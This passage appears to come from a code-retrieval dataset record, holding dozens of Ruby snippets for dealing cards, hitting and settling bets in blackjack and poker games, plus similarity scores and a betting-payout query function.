@board[guess].reveal\n @player.store_cards(guess, @board[guess].value)\n p @player.store\n end", "def update_hand(discard_idx, deck)\n\t\tdiscard_cards = discard_idx.reduce([]) do |discards, idx|\n\t\t\tdiscards << @hand.cards[idx]\n\t\tend\n\t\t# discard cards\n\t\tdiscard_cards.each{ |c| @hand.cards.delete(c) }\n\t\t# replace with new\n\t\tnew_cards = deck.take(discard_cards.size)\n\t\[email protected](*new_cards)\n\t\t\n\t\tputs \"#{name}'s new hand is:\"\n\t\[email protected]\n\t\t\n\t\t@hand\n\tend", "def remove_card_from_deck (card)\n\t\t@deck -= [card]\n\tend", "def first_hand\n @player_hand = deck.cards.pop(2)\n @dealer_hand = deck.cards.pop(2)\n puts \"House will now deal you two cards..Press any key.\"\n #Dumb speech, might take out.\n %x(say 'to lose')\n gets\n #Shows the first two cards you receive\n puts \"Dealer showing #{dealer_hand[0].face} of #{dealer_hand[0].suit}.\"\n puts \"You have a #{player_hand[0].face} of #{player_hand[0].suit} and a #{player_hand[1].face} of #{player_hand[1].suit}. \"\n two_aces\n if dealer_score == 21\n puts \"Well you lost, I got #{dealer_score} already. That was quick huh.\"\n dealer_win\n play_again\n elsif player1_score == 21\n puts \"You win. with a total of #{player1_score}. I didn't even get to deal :(\"\n player_win\n play_again\n else\n play\n end\n end", "def pull(card)\n card = self.cards.delete(card)\n raise \"Cannot find card. May already have been dealt\" unless card\n return card\n end", "def deal_cards\n player.add_card(deck.deal_one)\n dealer.add_card(deck.deal_one)\n player.add_card(deck.deal_one)\n dealer.add_card(deck.deal_one)\n end", "def replace_card_with_new(player, card)\n @deck << card\n @deck.shuffle!\n new_card = @deck.shift\n return if new_card == card\n # This will raise if player didn't have the old card\n player.replace_cards(@main_token, [card], [new_card])\n @output_streams.each { |os| os.new_cards(player.user) }\n end", "def starting_hands\n @dealer_hand.push(random_card)\n @player_hand.push(random_card, random_card)\n end", "def deal_card\n @cards.pop\n end", "def deal_hand no_of_cards\n hand = Hand.new\n no_of_cards.times do\n hand.add pick_random\n end\n hand\n end", "def deal\r\n @cards.shift\r\n end", "def deal\n deck = build_deck\n players = create_players\n hands = []\n puts \"Dealing cards...\"\n players.each do |player|\n hand = {\n player: player, card: deck.pop\n }\n hands << hand\n end\n return hands\n end", "def dealHand \n h = Hand.new\n 5.times do \n h.addCard(self.draw)\n end\n return h\n end", "def deal()\n card = self.cards.shift()\n raise \"Cannot deal more than 52 cards.\" unless card\n return card\n end", "def choose_card \n\n @cards.shift\n end", "def add_to_hand(card)\n # add the new card to each \"hand\"\n @values = @values.map { |val| val + card.rank }\n\n # change accordngly if there is an ace\n update_for_ace if card.rank.eql?(1)\n\n @cards.push(card)\n end", "def expected_hand(player, turn)\n my_player = @playerstates.detect{|playerstate| playerstate.name == player.player_name}\n expected_hand = my_player.hand.hand_to_list\n cardsfrom = turn.turn_end\n if cardsfrom.from_deck?\n new_cards = [turn.deck.take]\n elsif cardsfrom.from_stack?\n new_cards = turn.stack.take(cardsfrom.how_many_cards?)\n end\n expected_hand = expected_hand + new_cards\n end", "def deal_cards(player_hand, dealer_hand)\n\t# Everyone gets 2 cards\n\t2.times do\n\t\tdeal_card(player_hand)\n\t\tdeal_card(dealer_hand)\n\tend\nend", "def deal\n @deck.shift\n end", "def deal(player)\n cards = []\n 26.times do \n cards << self.deck.shift\n end\n\n player.receive_cards(cards)\n end", "def hands\n dealer.hand = []\n player.hand = []\n end", "def deal_hand(players)\n players.each do |player|\n player.clear_hand\n end\n\n 2.times do \n players.each do |player|\n deal_card(player)\n end\n end\n end", "def deal_hand\n 3.times do \n @players.each do |player|\n player.hand.draw_card\n end\n end\n end", "def hit(deck)\n rand_card = deck.sample # pulls a random card from the playing deck.\n deck.delete(rand_card)\nend", "def deal_turn\n @pokerdeck.pop\n turn = @pokerdeck.pop\n @communal_cards << turn\n return turn\n end", "def addCardsToHand(cards)\n @hand.concat(cards)\n end", "def discard\n player.hand.first\n end", "def set_hands(hand_size = 2)\n puts \"Dealing cards\"\n @player.new_hand\n @dealer.new_hand\n\n @dealer.update_deck if @deck.cards_left < ((hand_size * 2) + 1) # Rebuilds deck if empty\n hand_size.times do\n @player.hand.hit\n @dealer.hand.hit\n end\n end", "def deal_hand\n dealt = 0\n while dealt < @hand_size \n for player in @players\n player.cards.push(deal_answer_card)\n end \n dealt = dealt + 1\n end\n return @players\n \n end", "def take_turn(player)\n p player.render_hand\n #render their hand\n p \"Which cards do you want to discard? (first, second..etc) i.e. '1,2' If none, reply 'none'\"\n discarded_cards = gets.chomp\n indices = parse(discarded_cards)\n discard(indices, player)\n #promt for how many new cards? => quantity\n #rerender the hand\n #promt for fold?\n #prompt them for a bet.. show their current bet\n end", "def deal\n @players.each{ |p| @shoe.trash(p.discard_hands) }\n @shoe.trash(@dealer.discard_hands)\n @shoe.reshuffle! if @shoe.cards_left < (@players.length+1) * 5\n first = true\n 2.times{\n @players.each{ |p| p.take(@shoe.hit) }\n if first\n @dealer.take(@shoe.silent_hit)\n else\n @dealer.take(@shoe.hit)\n end\n first = false\n }\n\n # In Counting Mode, it'd be nice to see everyone's hand so you can practice\n # doing the count yourself. In other modes, it just clutters things though.\n all_player_status if $Counting_Mode\n end", "def deal()\n loop_size = Constant::CARD_COUNT / 6\n loop_size.times do\n @players.each do |player|\n break if @deck.cards.empty?\n player.hand += @deck.cards.pop(2)\n end\n end\n end", "def complete_player_hand(playerHand, dealerHand)\n \n loop do #Loop forever\n \n Console_Screen.cls #Clear the display area\n \n #Show the current state of the player and dealer's hands\n puts \"Player's hand: \" + playerHand.to_s + \"\\n\\n\"\n puts \"Dealer's hand: \" + dealerHand.to_s + \"\\n\\n\\n\\n\\n\\n\"\n print \"Would you like another card? (Y/N) \"\n \n reply = STDIN.gets #Collect the player's answer\n reply.chop! #Remove any extra characters appended to the string\n\n #See if the player decided to ask for another card\n if reply =~ /y/i then\n #Call method responsible for getting a new card and add it to the \n #player's hand\n playerHand = playerHand + get_new_card\n end\n\n #See if the player has decided to stick with the current hand\n if reply =~ /n/i then\n break #Terminate the execution of the loop\n end\n \n if playerHand > 21 then\n break #Terminate the execution of the loop\n end\n \n end\n \n #Return the value of the player's hand\n return playerHand\n \n end", "def hit(hand)\n hand.push(random_card)\n end", "def return *hands\n hands.each do |hand_or_cards|\n cards = (hand_or_cards.is_a?(CardDecks::Hand) ? hand_or_cards.cards : Array.wrap(hand_or_cards))\n @used += cards\n @inhand.delete_if {|c| cards.include?(c) }\n @hands.each {|h| h.cards.delete_if {|c| cards.include?(c) } }\n end\n end", "def deal(number)\n fail DeckEmptyError if count < number\n Hand.new(@cards.shift(number))\n end", "def deal(hsh, user, *hide)\n cached_total = hsh[user][:hand_total]\n user_hand = hsh[user][:cards]\n new_card = []\n deck = hsh[:deck]\n suit = deck.keys.sample\n cards = deck[suit][:cards]\n single_card = select_valid_cards(cards).keys.sample\n value = cards[single_card].sample\n card_display = inspect_card(single_card)\n suit_display = suit.to_s.capitalize[0]\n new_card << card_display.to_s\n new_card << suit_display.to_s\n new_card << remove_card(cards[single_card], value)\n if ace?(card_display) && will_user_bust?(cached_total)\n modify_ace_value!(new_card)\n end\n if hide == []\n display_single_card(user, new_card)\n sleep(1)\n end\n cached_total[0] += new_card[2]\n user_hand << new_card\n if twentyone?(cached_total.sum) && user == :player\n display_banner(\"#{user.capitalize} got 21!\")\n sleep(1)\n end\nend", "def drawcard\n @deck.pop\n end", "def deal_cards(old_deck, num_cards)\n hand = old_deck.sample(num_cards)\n new_deck = old_deck - hand\n return [hand, new_deck]\nend", "def hit(hand, deck, player_name='')\n hit = deck.pop\n puts \"#{player_name} drew a: \\n#{get_humanized_card(hit)}\" unless player_name.strip() == ''\n hit_value = get_card_value(hit)\n hand << hit\n return hit_value\nend", "def deal(game_hash, player_number = nil) # <= Hash, Integer\n if game_hash[:dealer_deck].count <= 3\n game_hash[:dealer_deck] << prepare_decks(game_hash[:decks])\n end\n \n if player_number.nil? # if the dealer\n how_many_cards = game_hash[:dealer_hand].count < 2 ? 2 : 1\n how_many_cards.times do\n card = game_hash[:dealer_deck].pop\n game_hash[:dealer_hand] << card\n end\n else # if not the dealer\n how_many_cards = game_hash[:current_hands][player_number].count < 2 ? 2 : 1\n how_many_cards.times do\n card = game_hash[:dealer_deck].pop\n game_hash[:current_hands][player_number] << card\n end\n end\n \n game_hash\nend", "def draw_into(deck)\n card = draw\n deck << card\n card\n end", "def deal_card\n if @cards.length > 0 then\n return @cards.slice!(0)\n else\n raise StandardError, \"No cards left in shoe; please use can_play\"\n end\n end", "def deal_a_card(from_the_deck)\n #delete any empty hashes from the deck array otherwise there will be an error because it will be picking a nil result\n if from_the_deck.include?({})\n from_the_deck.delete({})\n end\n \n deck_chosen_from = from_the_deck.sample\n key_chosen_from_deck = deck_chosen_from.keys.sample\n value_chosen_from_deck = deck_chosen_from[key_chosen_from_deck].sample\n \n remove_from_deck(deck_chosen_from, key_chosen_from_deck, value_chosen_from_deck)\n\n #delete any hash key with an empty array value otherwise there will be an error because it will be picking a nil result\n if deck_chosen_from[key_chosen_from_deck].empty?\n deck_chosen_from.delete(key_chosen_from_deck)\n end\n\n picked_card = [key_chosen_from_deck, value_chosen_from_deck]\nend", "def lay_card\n @hand.shift\n end", "def example4 poker_hands\n deck = PokerDeck.new\n deck.shuffle!\n hand = deck.hand\n num = 1\n while !poker_hands.include?(hand.poker_hand) do\n num += 1\n deck.shuffle!\n hand = deck.hand\n puts \"[#{num}] #{hand.coded_info}\"\n end\n puts '----'\n hand.order!\n puts \"The hand, coded and ordered: #{hand.coded_info}\"\n puts \"Same hand, ordered: #{hand}\"\n puts \"Poker hand type: #{hand.poker_hand}\"\n end", "def hit(player_hit)\n card = shoe.cards.shift\n #Player's choice for each ace. Should allow player to reassign the Ace's\n ##value later (in bust cases). Idea: change code in hand_check\n if player_hit == player\n if (card.card_name.slice(0,3) == \"Ace\")\n response = \"\"\n puts \"You drew an #{card.card_name}. Would you like it to equal 1 or 11? Please type '1' or '11' and press enter.\"\n response = gets.chomp\n if response == \"1\"\n card.value = 1\n player_hit.hand << card\n elsif response == \"11\"\n card.value = 11\n player_hit.hand << card\n end\n else\n player_hit.hand << card\n end\n #Dealer chooses based upon hand count\n elsif player_hit == dealer\n if card.card_name.slice(0,3) == \"Ace\"\n if (dealer.hand_total + 11) <= 21\n player_hit.hand << card\n elsif (dealer.hand_total + 11) > 21\n card.value = 1\n player_hit.hand << card\n end\n else\n player_hit.hand << card\n end\n end\n end" ]
[ "0.77481", "0.7680469", "0.7536351", "0.7524528", "0.7336696", "0.7224235", "0.7190329", "0.7046859", "0.70179915", "0.7007015", "0.6979283", "0.6972773", "0.69470227", "0.6920806", "0.69164044", "0.6900499", "0.68818873", "0.6860713", "0.68602693", "0.6842921", "0.68108547", "0.6785214", "0.6775715", "0.67573774", "0.67408305", "0.6735385", "0.6731944", "0.6702045", "0.66982436", "0.66767824", "0.6660759", "0.6637406", "0.6629735", "0.658854", "0.657941", "0.6578771", "0.6578169", "0.6550592", "0.65363693", "0.6530106", "0.6518357", "0.6512567", "0.6495672", "0.64906234", "0.64813507", "0.64754194", "0.6473284", "0.64567524", "0.64521915", "0.6432581", "0.642702", "0.6420335", "0.64165336", "0.64075726", "0.6400439", "0.6392021", "0.63914573", "0.6380193", "0.63760734", "0.6374489", "0.637191", "0.63683474", "0.6363118", "0.6362441", "0.6359828", "0.6353884", "0.63486266", "0.6337825", "0.6327864", "0.6324452", "0.6314799", "0.63095963", "0.63018745", "0.62922525", "0.62857044", "0.62808794", "0.62716395", "0.6262137", "0.6259691", "0.62568986", "0.6256298", "0.62466353", "0.6244232", "0.6235627", "0.6231919", "0.6231701", "0.62283057", "0.6227281", "0.6219224", "0.6218556", "0.62175435", "0.6210622", "0.6175626", "0.6171806", "0.61716396", "0.6168589", "0.61639035", "0.61633545", "0.6148207", "0.61380893" ]
0.8126879
0
Once a game is lost this function is called to determine the amount of money +++ that should be taken or given to the player.
def bet_attribution(state_of_game) if state_of_game === "lose" @money_current = @money_current - @money_bet elsif state_of_game === "win" @money_current = @money_current + (@money_bet * 0.5) @money_current = @money_current.to_i end @money_bet = 0 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def amount_remaining\n @desired_amount - @bought_amount\n end", "def player_lost\n\t\tputs \"\\nI am sorry, but you have lost!\"\n\t\tputs \"The secret number was #{self.secret_number}\"\n\t\tself.player_record[\"Losses\"] += 1\n\tend", "def put_money(amount, player)\n if amount > player.money\n amount = player.money\n end\n if amount + player.in_pot_current > self.high_bet # if player is new high bet (bets more than current highest)\n self.high_bet = amount + player.in_pot_current\n self.high_better = player.location\n end\n player.money -= amount # puts money in correct places and takes from player's pot\n player.in_pot_current += amount\n player.in_pot_hand += amount\n self.pot += amount\n player.save\n self.save\n end", "def remaining_players\n losses.count { |_, v| v < MAX_LOSS_COUNT}\n end", "def current_total_amount\n\n if calculate_total(session[:player_cards]).to_i == BLACKJACK\n session[:player_pot] += session[:player_bet].to_i \n elsif calculate_total(session[:player_cards]).to_i > BLACKJACK\n session[:player_pot] -= session[:player_bet].to_i\n elsif calculate_total(session[:dealer_cards]).to_i > BLACKJACK\n session[:player_pot] += session[:player_bet].to_i \n elsif calculate_total(session[:dealer_cards]).to_i == BLACKJACK\n session[:player_pot] -= session[:player_bet].to_i\n elsif calculate_total(session[:player_cards]).to_i > calculate_total(session[:dealer_cards]).to_i\n session[:player_pot] += session[:player_bet].to_i \n elsif calculate_total(session[:dealer_cards]).to_i > calculate_total(session[:player_cards]).to_i\n session[:player_pot] -= session[:player_bet].to_i \n else\n session[:player_pot]\n end # ends if statement\n end", "def game_over(player_total, dealer_total, player_cards, dealer_cards, player_deposit_amount, bet_amount, draw_dealer_cards)\n if dealer_total == player_total\n puts \"It's a tie\" \n player_deposit_amount += bet_amount\n elsif player_total > 21 \n puts \"You've busted. Sorry, the dealer wins this game\"\n player_deposit_amount -= bet_amount\n elsif dealer_total > 21\n puts \"Dealer busted. You won the game\"\n player_deposit_amount += (bet_amount*2)\n elsif dealer_total > player_total \n puts \"Sorry, the dealer wins this time\"\n player_deposit_amount -= bet_amount\n elsif player_total > dealer_total\n puts \"Congratulations ...you won\"\n player_deposit_amount += (bet_amount*2)\n end \n if draw_dealer_cards\n draw_cards(dealer_cards, \"Dealer\")\n end\n player_deposit_amount\nend", "def lose_life\n puts \"Sorry, that is the wrong answer!\"\n @current_player.life -= 1\n if @current_player.life == 0\n puts \"#{current_player.name} loses! Game Over!\"\n end\n end", "def gain_gold\n if $game_troop.gold_total > 0\n rate = Grade.rate(:gold)\n gold = $game_troop.gold_total\n gold = gold * rate / 100\n $game_party.gain_gold(gold)\n else\n gold = 0\n end\n return gold\n end", "def hp_decriment(opponent)\n\t\thp_will_change!\n\t\tputs \"damage taken!\"\n\t\t# self.hp -= 1 \n\t\tself.hp -= (1 + opponent.attack/self.defense)\n\t\tif self.hp <=0 \n\t\t\tputs \"Fatality!\"\n\t\t\tself.lives_decriment()\n\t\tend\n\t\tself.save!\n\tend", "def game_over\n remaining_player.count == 1\n end", "def lose!\n\t\t@bet = 0\n\tend", "def profit(win, lost)\n count = (session[win] || 0).to_i\n count1 = (session[lost] || 0).to_i\n count - count1\nend", "def player_win\n @player.won_bet\n puts \"You have #{@player.chips_remaining} remaining\"\n end", "def money_left(money, gallons_needed, gas_price)\n\t\tmoney - (gallons_needed * gas_price)\n\tend", "def buy(amount)\n @bought_amount += amount if amount_remaining >= amount\n end", "def check_if_lost\n\t\tif @guess_count == @number_guess + 1\n\t\t\t@game_over = 2\n\t\tend\n\t\t@game_over\n\tend", "def check_lost\n if @guess_count == MAX_GUESS\n puts \"\\tYou lost! You've used up all your guesses!\"\n self.new_round\n end\n end", "def getDealTotal()\n\ttotal = 0\n\ti = 0\n\twhile i < $dealerCards.length\n\t\tx = $dealerCards.at(i)\n\t\tif x == 1\n\t\t\t$playerSoft = true\n\t\tend\t\n\t\ttotal = total + x\n\t\ti += 1\n\tend\n\treturn total\nend", "def remaining_guesses()\n if $turns > 1\n puts \"You have #{$turns} incorrect guesses left!\"\n elsif $turns == 1\n puts \"You have 1 incorrect guess left!\"\n else\n puts \"GAME OVER\"\n end\n end", "def lives_lost\n @lives -= 1\n pp \"INCORRECT -- YOU HAVE #{@lives} LIVES LEFT\"\n end", "def owes_amount\n loans=@loans\n net_worth=@net_worth\n @balance = net_worth-loans\n print \"the balance is : \",balance,\"\\n\"\n is_developer_solvent?\n end", "def afford_horse(money)\n horse_cost = 20000\n if money < horse_cost\n return 'Keep saving!'\n end\n\n remaining = money - horse_cost\n return \"You bought a horse and have $#{remaining} left.\"\nend", "def take_damage(_amount)\n\t\t@temp_hp -= _amount\n\t\tif (temp_hp < 0)\n\t\t\t@current_hp += @temp_hp\n\t\t\t@temp_hp = 0\n\t\tend\n\t\tleftover = @current_hp\n\t\t@current_hp = 0 if @current_hp < 0\n\t\tleftover\n\tend", "def updateGamesLost\n @gamesLost += 1\n end", "def lose_with_insurance\n self.chips += 2 * self.bet_chips\n self.is_complete = true\n \"Dealer hit Blackjack. A lose for #{name}\n #{name} bought an insurance. Pay 2 times of insurance.\"\n end", "def action(type, amount, player)\n @player = Player.find(player.to_i)\n amount = amount.to_i\n case type\n when 'fold'\n @player.in_hand = false\n when 'bet'\n if amount > @player.money\n amount = @player.money\n end\n if amount + @player.in_pot_current < self.high_bet\n p 'invalid bet'\n else\n put_money(amount, @player)\n end\n when 'raise'\n # If player doesn't have enough money or trying to not raise enough and can't bet enough\n if amount > @player.money || (amount + @player.in_pot_current < 2*self.high_bet && 2*self.high_bet - @player.in_pot_current > @player.money)\n amount = @player.money\n elsif amount + @player.in_pot_current < self.high_bet\n amount = 2*self.high_bet - @player.in_pot_current\n else\n amount = amount + self.high_bet - @player.in_pot_current\n end\n put_money(amount, @player)\n when 'check'\n # do nothing; high better already set to be player after dealer inside of deal()\n when 'call'\n amount = self.high_bet - @player.in_pot_current\n put_money(amount, @player)\n else\n p 'invalid action'\n end\n self.current_player = self.get_next_player(@player.location) # Set next player to current\n\n @player.save\n self.save\n if self.high_better == self.current_player #progress round if you've gone back around to the high better\n # unless no one raises and it's back to big blind, bb should be able to go\n if self.high_bet <= self.big_blind && self.round == 0 && self.high_better == get_next_player(get_next_player(self.dealer))\n self.high_better = get_next_player(get_next_player(get_next_player(self.dealer)))\n else\n set_round((self.round + 1))\n deal(self.round)\n end\n end\n if self.players.where(:in_hand => true).length <= 1\n set_round(4)\n end\n\n @player.save\n self.save\n end", "def check_correct_answer\n puts 'Answer was correct!!!!'\n @purses[@current_player] += 1\n current_purses = @purses[@current_player]\n puts \"#{@players[@current_player]} now has #{@purses[@current_player]} Gold Coins.\"\n check_current_player\n current_purses\n end", "def game_over?\n remaining_players == 1\n end", "def win_or_bust(player)\n total = player.calculate_total\n \n if total == 21\n player_wins(player)\n elsif total > 21\n player_busts(player)\n end\nend", "def place_bet(amount)\n @total_money -= amount\n end", "def update_money\n @amount = self.class.count_money @money\n end", "def total\n wins + losses\n end", "def turns_left\n turns_left = @total_guesses - @guess_count\nend", "def receive_winnings(amount)\n @bankroll += amount\n end", "def add_winnings(hand, blackjack=false, push=false)\n if push # The user drew with the dealer, only gets back the bet placed\n @total_money += hand.bet\n else # The user won against the dealer\n if blackjack\n @total_money += (hand.bet * 2.5) # If the player got a blackjack, he wins 3:2. So, the total is 2.5 times the bet placed\n else\n @total_money += (hand.bet * 2) # Else the player wins the 1:1. So, the total is 2 times the bet placed\n end\n end\n end", "def lives_decriment\n\t\tlives_will_change!\n\t\tself.lives -= 1 \n\t\tself.hp = self.level+5\n\t\tself.save!\n\t\tif self.lives <=0 \n\t\t\t# restarts NPC's renders user-wizards unusable\n\t\t\tif self.user_id == 1\n\t\t\t\tself.default_values()\n\t\t\telse\n\t\t\t\tputs \"Game Over for #{self.name}!\"\n\t\t\t\tself.level = 0\n\t\t\tend\n\t\tend\n\tend", "def runner\n welcome #introduces the game\n \n card_total = initial_round #est. current total + lets user know what number they have at the moment\n until card_total > 21 #continue game until user loses\n card_total = hit?(card_total)\n display_card_total(card_total)\n end\n end_game(card_total) #prints out when user has lost\nend", "def out_of_money()\n @total_money <= 0\n end", "def increment_loss\n self.games_lost += 1\n increment_games_played\n end", "def gets_damage(point)\n @life_points -= point\n if @life_points <= 0\n puts \"Player #{@name} has been died!\"\n end\n end", "def getPlayTotal()\n\ttotal = 0\n\ti = 0\n\twhile i < $playerCards.length\n\t\tx = $playerCards.at(i)\n\t\tif x == 1\n\t\t\t$playerSoft = true\n\t\tend\t\n\t\ttotal = total + x\n\t\ti += 1\n\tend\n\treturn total\nend", "def gets_damage(damage)\n\n # On soustrait aux points de vie\n @life_points = @life_points - damage\n \n\n # le joueur est mort s'il n'a plus de vie\n if @life_points <= 0\n puts \"#{@name} is down and dead.I'm soooo very sorry!\"\n puts\"*********************************************************************************************\"\n puts\"*********************************GAME***OVER*********************************************************\"\n puts\"*********************************************************************************************\"\n \n #sinon on l'informe qu'il ne va pas mal!\n else \n puts \"#{@name} still has #{@life_points} points left\"\n puts \"#{@name} is still all right\"\n end\n end", "def remaining_amount\n if accumulated >= amount\n 0\n else\n (amount - accumulated)\n end\n end", "def winning_hand\n if !(@player.hand.bust)\n if @player.hand.value > @dealer.hand.value\n player_win\n elsif @player.hand.value == @dealer.hand.value\n if @player.hand.blackjack? && [email protected]?\n player_win\n else\n puts \"The hand pushed\"\n @player.push_bet\n puts \"You have #{@player.chips_remaining} remaining\"\n end\n else\n puts \"You lost the hand\"\n puts \"You have #{@player.chips_remaining} remaining\"\n end\n else\n puts \"You busted\"\n puts \"You have #{@player.chips_remaining} remaining\"\n end\n end", "def runner\n welcome #welcomes player \n cardtotal = initial_round #stores the two cards from the first dealing\n until cardtotal > 21 #until their card total is greater than 21\n cardtotal = hit?(cardtotal) #set the new card total equal to the player's decision\n display_card_total(cardtotal)\n if cardtotal == 21\n puts \"You cards add up to #{cardtotal}! Blackjack!\"\n return\n end\n end\n end_game(cardtotal) #ends the game and returns player's cardtotal\nend", "def update_exp_gain()\n if !@complete\n total_remaining = 0\n \n for i in 0 .. $game_party.members.size-1\n actor = $game_party.members[i]\n actor_exp = @actor_remaining_exp[i]\n \n if actor.dead? && !VICTORY_CONFIG::EXP_ON_DEATH\n actor_exp.remaining_exp = 0\n end\n \n total_remaining += actor_exp.remaining_exp\n \n if actor_exp.remaining_exp > 0\n last_level = actor.level\n last_skills = actor.skills\n \n if !@skipped\n \n if actor_exp.remaining_exp > actor_exp.tick_exp\n \n if actor_exp.tick_exp > actor.needed_exp && actor.needed_exp > 0\n \n exp_to_gain = actor.needed_exp\n \n else\n \n exp_to_gain = actor_exp.tick_exp\n \n end\n \n else\n \n exp_to_gain = actor_exp.remaining_exp\n \n end\n \n actor.gain_exp(exp_to_gain, false)\n actor_exp.remaining_exp -= exp_to_gain\n else\n actor.gain_exp(actor_exp.remaining_exp, false)\n actor_exp.remaining_exp = 0\n end\n \n @victory_char_info_windows[i].window_update(actor)\n \n if actor.level > last_level\n actor_exp.tick_exp = determine_tick(actor.next_exp, actor_exp.remaining_exp)\n \n @victory_level_up_windows[i].visible = true\n Sound.play_level_up_se\n wait(30)\n @victory_level_up_windows[i].visible = false\n end\n new_skills = actor.skills - last_skills\n for skill in new_skills\n @victory_new_skill_windows[i].window_update(skill)\n @victory_new_skill_windows[i].visible = true\n Sound.play_new_skill_se\n wait(30)\n @victory_new_skill_windows[i].visible = false\n end\n end\n end\n \n if total_remaining == 0\n @complete = true\n end\n end\n end", "def calculate_money\n return_data = {lose: 0.0, win: 0.0}\n \n self.bet_scores.each do |e|\n if e.match.result && e.match.result == e.score\n return_data[:win] += e.money\n else\n return_data[:lose] += e.money\n end\n end\n\n self.update_attributes({lose: return_data[:lose], win: return_data[:win]})\n end", "def final_round()\n d = value(@dealer)\n puts \"--- Check Round --- \"\n puts \"Dealers' cards are #{@dealer.join(',')} for a value #{d}\"\n\n # Iterate over all players who are still in the game,\n # as in they haven't lost in the initial round doing 'hits'\n #\n # Precondition: forall p in players where p.cur_playing == false, value(p.cards) <= 21\n @players.find_all{|p| p.cur_playing}.each do |p|\n if value(p.cards) < d && d <= 21 # Dealer Wins\n puts \"Player #{p.index} has deck worth #{value p.cards}, and loses to the dealer...\"\n debit_player(p)\n elsif (value(p.cards) > d && d <= 21) || d > 21 # Player Wins\n puts \"Player #{p.index} has deck worth #{value p.cards}, and wins with the dealer...\"\n credit_player(p)\n elsif value(p.cards) == d\n puts \"Player #{p.index} has deck worth #{value p.cards}, and draws with the dealer...\"\n end\n end\n end", "def hold_coins num\n @held_coins = num\n end", "def deduct_available_guesses\n @available_guesses -= 1\n end", "def gets_damage(damage)\n @life_points = @life_points - damage\n\n # If the user has 0 life point it show a message that he loose\n if @life_points <= 0\n puts \"\\n\"\n puts \"----- La partie est finie #{self.name} a perdu ! -----\"\n end\n end", "def money_enough?\n remaining_sum > 0\n end", "def save_session(won_lost, money)\n count = (session[won_lost] || 0).to_i\n count += money\n session[won_lost] = count\nend", "def de_total\n @printer << \"Dealer has #{session[:dealer].hand_total}\" if !session[:dealer].blackjack?\n @printer << \"Dealer busts!\" if session[:dealer].bust? \n if session[:dealer].blackjack?\n @printer << \"Dealer has BlackJack.\"\n session[:player].make_unlucky\n end\n nil\n end", "def gets_damage(damage) \n @life_points -= damage\n\n if @life_points <= 0 \n puts \"Déso #{@name} t'es mort !\"\n end\n end", "def sample_gold\n gold_lost = 0\n # Reduce gold if the player has any.\n if @gold.positive?\n type(\"Looks like you lost some gold...\\n\\n\")\n gold_lost = @gold/2\n @gold -= gold_lost\n end\n gold_lost\n end", "def guesses_left()\n \treturn ((@guesses_allowed - @current_guess_count)) \n end", "def finishGame\n if @roundsWon > @roundsLost\n puts \"You won the game!\"\n @gamesWon += 1\n else\n puts \"You lost the game :(\"\n @gamesLost += 1\n end\n puts \"Games Won: #{@gamesWon}. Ganes Lost: #{@gamesLost}\"\n requestNewGame()\n end", "def raise_bet\r\n print \"\\n\\n%31s\" % \"Amount to raise: $\"\r\n amount = gets.chomp.to_i\r\n # Don't allow player to bet less than $1 or more than they have\r\n prompt_user if amount < 1 or amount > @chips\r\n puts \"\\n%21s\\n\" % \"%-15s\" % \"You raised $#{amount}.\"\r\n @table.add_player_bet(self, @table.current_bet + amount)\r\n end", "def raise_bet(amount)\r\n puts \"\\n%33s\\n\" % \"Player ##{player_id+1} raised $#{amount}.\"\r\n @table.add_player_bet(self, @table.current_bet + amount)\r\n end", "def bust_or_win?\n if player.total == BLACKJACK\n puts \"#{player.name} hit backjack!! #{player.name} lost, dealer lost.\"\n play_again?\n elsif player.total > BLACKJACK\n puts \"#{player.name} busted! #{player.name} lost, dealer won.\"\n play_again?\n elsif dealer.total == BLACKJACK\n puts \"Dealer hit blackjack!! #{player.name} lost.\" \n play_again?\n elsif dealer.total > BLACKJACK\n puts \"Dealer busted! #{player.name} won.\"\n play_again?\n else\n \"continue\"\n end\n end", "def amount_charged\n\t\t@amount = 6000\n\tend", "def guesses_left\n\t\t@guesses -= 1\n\t\tguesses \n\tend", "def dispense(amount)\n @balance = @balance - amount\n puts \"hey I gave you #{amount}\"\n end", "def won_with_points\n self.chips += 2 * self.bet_chips\n self.is_complete = true\n \"#{name}'s point is bigger than dealer! #{name} get extra one bet. Win for #{name}\"\n end", "def pays_players\n self.players.inject(0) {|sum, player| sum += player.pay}\n end", "def recv_money(money)\n @money += money\n return money\n end", "def save_session(won_lost, money)\n count = (session[won_lost] || 0).to_i\n count += money\n session[won_lost] = count\nend", "def take_damage amt, name, sym, message\n @hp -= amt\n @last_hit_by = name\n @kill_type = sym\n hear_line message\n # check if you died?\n end", "def total_rounds\n self.count_wins + self.count_losses\n end", "def end_game_scoring\n # for each founded hotel pay shareholders\n self.game_hotels.each do |hotel|\n if hotel.chain_size > 0\n find_shareholders(hotel, hotel.chain_size)\n end\n end\n\n # for each player, sell stock at current share price\n self.game_players.each do |player|\n player.stock_cards.each do |stock|\n hotel = self.game_hotels.where(name: stock.hotel).first\n player.cash = player.cash + hotel.share_price\n player.save\n end\n end\n \n # determine winner\n most_money = 0\n winner = 0\n self.game_players.each do |player|\n if player.cash > most_money\n winner = player\n most_money = player.cash\n end\n end\n\n #notify players of results\n msg2 = 'Player ' + winner.username + ' won ' + self.name \n self.game_players.each do |player|\n if player == winner\n msg1 = 'You won ' + self.name\n Notification.create(message: msg1, user_id: player.user.id)\n else\n Notification.create(message: msg2, user_id: player.user.id)\n end\n end\n\n return winner.username\n end", "def withdraw(amount_of_money)\n return @balance - amount_of_money\n end", "def money\n\t\tif @wallet.neg?\n\t\t\t@in_debt = true\n\t\tend\n\t\treturn @wallet.amount\n\tend", "def withdraw_using_check(amount)\n amount += CHECK_WITHDRAWL_FEE if @checks_remaining <= 0\n if amount <= @balance + MAX_OVERDRAFT\n @balance -= amount\n @checks_remaining -= 1\n else\n puts \"Your account does not contain enough to withdraw the amount requested. You may not overdraft more than $#{ '%.2f' % (MAX_OVERDRAFT / 100.0)}.\"\n end\n return @balance\n end", "def budget_left\n budget - total_spent.to_i\n end", "def gets_damage(damage)\n damage = damage.to_i\n @life_points = @life_points - damage\n if @life_points <= 0\n @life_points = 0\n puts \"le joueur #{names} a été tué\"\n end\n end", "def lose_gold(n)\n gain_gold(-n)\n end", "def gets_damage(damage)\n @life_points = @life_points - damage\n if @life_points > 0 \n then puts \"#{@name} est encore dans le game, il a encore #{@life_points} points de vie !\"\n else puts \"sorry but #{@name} tu es muerto, tu as #{@life_points} points de vie!\"\n end\n\n end", "def pay_amount(user, amount)\r\n if(self.credits>= amount)\r\n self.credits= 